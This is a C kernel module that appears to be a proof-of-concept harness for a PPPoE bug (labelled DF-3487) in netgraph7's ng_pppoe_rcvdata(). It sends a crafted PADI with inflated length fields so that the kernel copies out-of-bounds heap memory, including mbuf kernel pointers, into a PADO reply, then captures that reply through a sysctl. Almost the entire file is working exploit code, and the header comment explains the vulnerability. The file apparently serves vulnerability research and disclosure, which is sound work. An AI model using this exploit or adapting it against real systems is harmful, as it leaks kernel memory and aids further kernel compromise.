/*
 * ppsbx.c -- DF-3487 harness: missing ph->length validation in
 *            ng_pppoe_rcvdata() PPPOE_PRIMED branch
 *            (sys/netgraph7/pppoe/ng_pppoe.c:1176-1258).
 *
 * DF-0414 covered the identical omission in ng_pppoe_rcvdata_ether()
 * (the LAN-facing discovery branch, lines 1314-1619). This is the OTHER
 * sink: when a PPPoE server daemon echoes a received PADI back down its
 * session hook (the normal relay/offer flow), ng_pppoe_rcvdata() only
 * pullups sizeof(struct pppoe_full_hdr) (line 1194) and never compares
 * ph->length against the actual mbuf length before
 *   get_tag(ph, PTT_SRV_NAME)   (line 1231)
 *   get_tag(ph, PTT_HOST_UNIQ)  (line 1244)
 *   scan_tags(sp, ph)           (line 1247)
 * get_tag/scan_tags walk bound = &ph->tag[0] + ntohs(ph->length).
 *
 * Demo: tiny 32-byte PADI (header mbuf, no cluster) with ph->length=1024
 * and a Service-Name tag header claiming 900 data bytes. get_tag returns
 * a "tag" whose data spans [24,924) of a 32-byte packet; make_packet()
 * copies the whole thing into the PADO, which is emitted on the
 * "ethernet" hook where this harness captures it. Bytes past offset 32
 * of the copy are kernel heap read out of bounds -- including adjacent
 * mbuf headers (m_next/m_data kernel pointers) once the copy runs past
 * the 256-byte mbuf object.
 *
 * sysctl debug.ppsbx.cmd:  1 = setup (pppoe node + OFFER -> PRIMED)
 *                          2 = fire crafted PADI, capture PADO dump
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/errno.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/kthread.h>

#include <netgraph7/ng_message.h>
#include <netgraph7/netgraph.h>
#include <netgraph7/pppoe/ng_pppoe.h>
#include <netgraph7/ether/ng_ether.h>

MALLOC_DEFINE(M_PPSBX, "ppsbx", "DF-3487 pppoe harness");

static int	ppsbx_cmd;
static int	ppsbx_state;
static int	ppsbx_len;	/* captured PADO length */
static int	ppsbx_fire;	/* # of PADI fires */

/* PADO capture buffer, readable via debug.ppsbx_capture */
static u_char	ppsbx_capture[2048];

SYSCTL_INT(_debug, OID_AUTO, ppsbx_cmd, CTLFLAG_RW, &ppsbx_cmd, 0, "cmd");
SYSCTL_INT(_debug, OID_AUTO, ppsbx_state, CTLFLAG_RD, &ppsbx_state, 0, "status");
SYSCTL_INT(_debug, OID_AUTO, ppsbx_len, CTLFLAG_RD, &ppsbx_len, 0, "PADO len");
SYSCTL_INT(_debug, OID_AUTO, ppsbx_fire, CTLFLAG_RD, &ppsbx_fire, 0, "fires");
SYSCTL_OPAQUE(_debug, OID_AUTO, ppsbx_capture, CTLFLAG_RD,
    ppsbx_capture, sizeof(ppsbx_capture), "S,hex", "captured PADO bytes");

static ng_constructor_t	ppsbx_constructor;
static ng_rcvmsg_t	ppsbx_rcvmsg;
static ng_rcvdata_t	ppsbx_rcvdata;
static ng_newhook_t	ppsbx_newhook;
static ng_connect_t	ppsbx_connect;
static ng_disconnect_t	ppsbx_disconnect;
static ng_shutdown_t	ppsbx_shutdown;

static struct ng_type ppsbx_typestruct = {
	.version =	NG_ABI_VERSION,
	.name =		"ppsbx",
	.constructor =	ppsbx_constructor,
	.rcvmsg =	ppsbx_rcvmsg,
	.rcvdata =	ppsbx_rcvdata,
	.newhook =	ppsbx_newhook,
	.connect =	ppsbx_connect,
	.disconnect =	ppsbx_disconnect,
	.shutdown =	ppsbx_shutdown,
};
NETGRAPH_INIT(ppsbx, &ppsbx_typestruct);

static node_p	ppsbx_node;
static hook_p	eth0_hook;	/* <-> pppoe "ethernet" */
static hook_p	sess_hook;	/* <-> pppoe "svc1"    */
static struct thread *ppsbx_td;
static volatile int ppsbx_exited;

static int
ppsbx_mkpeer(void)
{
	struct ng_mesg *msg = NULL;
	struct ngm_mkpeer *mkp;
	int error;

	NG_MKMESSAGE(msg, NGM_GENERIC_COOKIE, NGM_MKPEER, sizeof(*mkp),
	    M_WAITOK | M_NULLOK);
	if (msg == NULL)
		return (ENOMEM);
	mkp = (struct ngm_mkpeer *)msg->data;
	strlcpy(mkp->type, "pppoe", sizeof(mkp->type));
	strlcpy(mkp->ourhook, "eth0", sizeof(mkp->ourhook));
	strlcpy(mkp->peerhook, "ethernet", sizeof(mkp->peerhook));
	NG_SEND_MSG_ID(error, ppsbx_node, msg, NG_NODE_ID(ppsbx_node),
	    NG_NODE_ID(ppsbx_node));
	kprintf("PPSBX: MKPEER pppoe on eth0<->ethernet -> %d\n", error);
	return (error);
}

static int
ppsbx_connect_svc(void)
{
	struct ng_mesg *msg = NULL;
	struct ngm_connect *con;
	int error;

	NG_MKMESSAGE(msg, NGM_GENERIC_COOKIE, NGM_CONNECT, sizeof(*con),
	    M_WAITOK | M_NULLOK);
	if (msg == NULL)
		return (ENOMEM);
	con = (struct ngm_connect *)msg->data;
	strlcpy(con->path, "ppsbx0:eth0", sizeof(con->path));
	strlcpy(con->ourhook, "sess", sizeof(con->ourhook));
	strlcpy(con->peerhook, "svc1", sizeof(con->peerhook));
	NG_SEND_MSG_ID(error, ppsbx_node, msg, NG_NODE_ID(ppsbx_node),
	    NG_NODE_ID(ppsbx_node));
	kprintf("PPSBX: CONNECT sess<->svc1 -> %d\n", error);
	return (error);
}

static int
ppsbx_offer(void)
{
	struct ng_mesg *msg = NULL;
	struct ngpppoe_init_data *o;
	const char acname[] = "acme";
	int dlen = sizeof(acname) - 1;
	int error;

	NG_MKMESSAGE(msg, NGM_PPPOE_COOKIE, NGM_PPPOE_OFFER,
	    sizeof(*o) + dlen, M_WAITOK | M_NULLOK);
	if (msg == NULL)
		return (ENOMEM);
	o = (struct ngpppoe_init_data *)msg->data;
	strlcpy(o->hook, "svc1", sizeof(o->hook));
	o->data_len = dlen;
	memcpy(o->data, acname, dlen);
	/* deliver to the pppoe node via the svc1 hook's peer */
	NG_SEND_MSG_HOOK(error, ppsbx_node, msg, sess_hook,
	    NG_NODE_ID(ppsbx_node));
	kprintf("PPSBX: NGM_PPPOE_OFFER (svc1) -> %d\n", error);
	return (error);
}

static int
ppsbx_setup(void)
{
	int error;

	if (ppsbx_node != NULL && eth0_hook && sess_hook)
		return (0);
	if (ppsbx_node == NULL) {
		if ((error = ng_make_node_common(&ppsbx_typestruct,
		    &ppsbx_node)) != 0) {
			ppsbx_node = NULL;
			kprintf("PPSBX: make_node -> %d\n", error);
			return (error);
		}
		if ((error = ng_name_node(ppsbx_node, "ppsbx0")) != 0) {
			NG_NODE_UNREF(ppsbx_node);
			ppsbx_node = NULL;
			return (error);
		}
	}
	if ((error = ppsbx_mkpeer()) != 0)
		return (error);
	eth0_hook = ng_findhook(ppsbx_node, "eth0");
	if (eth0_hook == NULL)
		return (ENOENT);
	if ((error = ppsbx_connect_svc()) != 0)
		return (error);
	sess_hook = ng_findhook(ppsbx_node, "sess");
	if (sess_hook == NULL)
		return (ENOENT);
	if ((error = ppsbx_offer()) != 0)
		return (error);
	kprintf("PPSBX: setup complete (svc1 is now PPPOE_PRIMED)\n");
	return (0);
}

static int
ppsbx_fire_padi(void)
{
	struct mbuf *m;
	struct pppoe_full_hdr *wh;
	u_char *tag;
	int error;

	/* header mbuf WITHOUT cluster: m_len=32, MHLEN data area only, so
	 * the OOB tag-data read crosses the 256-byte mbuf object into the
	 * adjacent mbuf zone slab (kernel pointers land in the copy). */
	MGETHDR(m, M_WAITOK, MT_DATA);
	if (m == NULL)
		return (ENOMEM);
	m->m_pkthdr.len = m->m_len = 32;

	wh = mtod(m, struct pppoe_full_hdr *);
	bzero(wh, 32);
	/* ethernet header */
	wh->eh.ether_dhost[0] = 0xff;	/* broadcast, rest zero */
	wh->eh.ether_shost[0] = 0x02;
	wh->eh.ether_shost[5] = 0x01;
	wh->eh.ether_type = ETHERTYPE_PPPOE_DISC;	/* 0x6388 */
	/* pppoe header */
	wh->ph.ver = 1;
	wh->ph.type = 1;
	wh->ph.code = PADI_CODE;			/* 0x09 */
	wh->ph.sid = 0;
	wh->ph.length = htons(1024);			/* << real payload 12 */
	/* Service-Name tag claiming 900 data bytes (wire order = BE) */
	tag = (u_char *)wh->ph.tag;
	tag[0] = (PTT_SRV_NAME >> 8) & 0xff;		/* 0x01 */
	tag[1] = PTT_SRV_NAME & 0xff;			/* 0x01 */
	tag[2] = (900 >> 8) & 0xff;			/* len hi */
	tag[3] = 900 & 0xff;				/* len lo */
	/* 8 bytes of real tag data (offsets 24..31 in the mbuf) */
	tag[4] = 'S'; tag[5] = 'E'; tag[6] = 'R'; tag[7] = 'V';
	tag[8] = 'N'; tag[9] = 'A'; tag[10] = 'M'; tag[11] = 'E';

	ppsbx_fire++;
	kprintf("PPSBX: firing PADI #%d (32 real bytes, ph.length=1024, "
	    "SRV tag len=900) down session hook\n", ppsbx_fire);
	{
		const u_char *q = mtod(m, const u_char *);
		int k;

		kprintf("PPSBX: PADI pre-send dump (m_len=%d):",
		    m->m_len);
		for (k = 0; k < 32; k++)
			kprintf(" %02x", q[k]);
		kprintf("\n");
	}
	NG_SEND_DATA_ONLY(error, sess_hook, m);
	kprintf("PPSBX: NG_SEND_DATA_ONLY -> %d\n", error);
	return (error);
}

static void
ppsbx_dump(const char *what, struct mbuf *m)
{
	const u_char *p;
	int i, len;

	ppsbx_len = m->m_pkthdr.len;
	len = m->m_len;
	bzero(ppsbx_capture, sizeof(ppsbx_capture));
	if (len > (int)sizeof(ppsbx_capture))
		len = sizeof(ppsbx_capture);
	bcopy(mtod(m, const void *), ppsbx_capture, len);
	kprintf("PPSBX: %s m_len=%d pkthdr.len=%d (captured %d bytes "
	    "to debug.ppsbx_capture)\n", what, len, ppsbx_len, len);
	for (i = 0; i < len; i += 16) {
		kprintf("PPSBX:   %04x:", i);
		p = &ppsbx_capture[i];
		{
			int j;

			for (j = 0; j < 16 && i + j < len; j++)
				kprintf(" %02x", p[j]);
		}
		kprintf("\n");
	}
	kprintf("PPSBX: %s dump done\n", what);
}

static void
ppsbx_thread(void *arg)
{
	int cmd;

	while (ppsbx_td != NULL) {
		cmd = ppsbx_cmd;
		if (cmd != 0) {
			ppsbx_cmd = 0;
			switch (cmd) {
			case 1:
				ppsbx_state = ppsbx_setup();
				break;
			case 2:
				ppsbx_state = ppsbx_fire_padi();
				break;
			default:
				ppsbx_state = -cmd;
				break;
			}
			wakeup(&ppsbx_state);
		} else {
			tsleep(&ppsbx_cmd, 0, "ppsbx_idle", hz);
		}
	}
	ppsbx_exited = 1;
	wakeup(&ppsbx_exited);
	kthread_exit();
}

static int
ppsbx_modevent(module_t mod, int event, void *data)
{
	int error = 0;

	switch (event) {
	case MOD_LOAD:
		ppsbx_exited = 0;
		error = kthread_create(ppsbx_thread, NULL, &ppsbx_td, "ppsbx0");
		if (error != 0)
			return (error);
		kprintf("PPSBX: loaded (cmd 1 = setup, cmd 2 = fire)\n");
		break;
	case MOD_UNLOAD:
		ppsbx_td = NULL;
		wakeup(&ppsbx_cmd);
		while (!ppsbx_exited)
			tsleep(&ppsbx_exited, 0, "ppsbxbye", hz);
		if (ppsbx_node != NULL) {
			ng_rmnode_self(ppsbx_node);
			ppsbx_node = NULL;
		}
		break;
	default:
		break;
	}
	return (error);
}

static int	ppsbx_constructor(node_p node) { return (0); }
static int	ppsbx_newhook(node_p node, hook_p hook, const char *name)
{
	return (0);
}
static int	ppsbx_connect(hook_p hook) { return (0); }

static int
ppsbx_disconnect(hook_p hook)
{
	if (eth0_hook == hook)
		eth0_hook = NULL;
	if (sess_hook == hook)
		sess_hook = NULL;
	return (0);
}

static int
ppsbx_shutdown(node_p node)
{
	NG_NODE_UNREF(node);
	return (0);
}

static int
ppsbx_rcvmsg(node_p node, item_p item, hook_p hook)
{
	struct ng_mesg *msg = NULL;
	struct ng_mesg *rsp = NULL;
	int error = 0;

	NGI_GET_MSG(item, msg);

	/* Answer ng_pppoe_connect()'s NGM_ETHER_GET_ENADDR request so the
	 * ethernet-hook connect completes cleanly. */
	if (msg != NULL &&
	    msg->header.typecookie == NGM_ETHER_COOKIE &&
	    msg->header.cmd == NGM_ETHER_GET_ENADDR &&
	    !(msg->header.flags & NGF_RESP)) {
		NG_MKRESPONSE(rsp, msg, ETHER_ADDR_LEN, M_WAITOK | M_NULLOK);
		if (rsp != NULL) {
			rsp->data[0] = 0x02;
			rsp->data[1] = 0x00;
			rsp->data[2] = 0x00;
			rsp->data[3] = 0x00;
			rsp->data[4] = 0x00;
			rsp->data[5] = 0x99;
		}
		NG_FREE_MSG(msg);
		NG_RESPOND_MSG(error, node, item, rsp);
		return (error);
	}

	NG_FREE_MSG(msg);
	NG_FREE_ITEM(item);
	return (0);
}

static int
ppsbx_rcvdata(hook_p hook, item_p item)
{
	struct mbuf *m = NULL;

	NGI_GET_M(item, m);
	if (m != NULL) {
		if (hook == eth0_hook)
			ppsbx_dump("PADO-from-ethernet-hook", m);
		NG_FREE_M(m);
	}
	NG_FREE_ITEM(item);
	return (0);
}

static moduledata_t ppsbx_mod = { "ppsbx", ppsbx_modevent, NULL };
DECLARE_MODULE(ppsbx, ppsbx_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(ppsbx, netgraph, NG_ABI_VERSION, NG_ABI_VERSION, NG_ABI_VERSION);
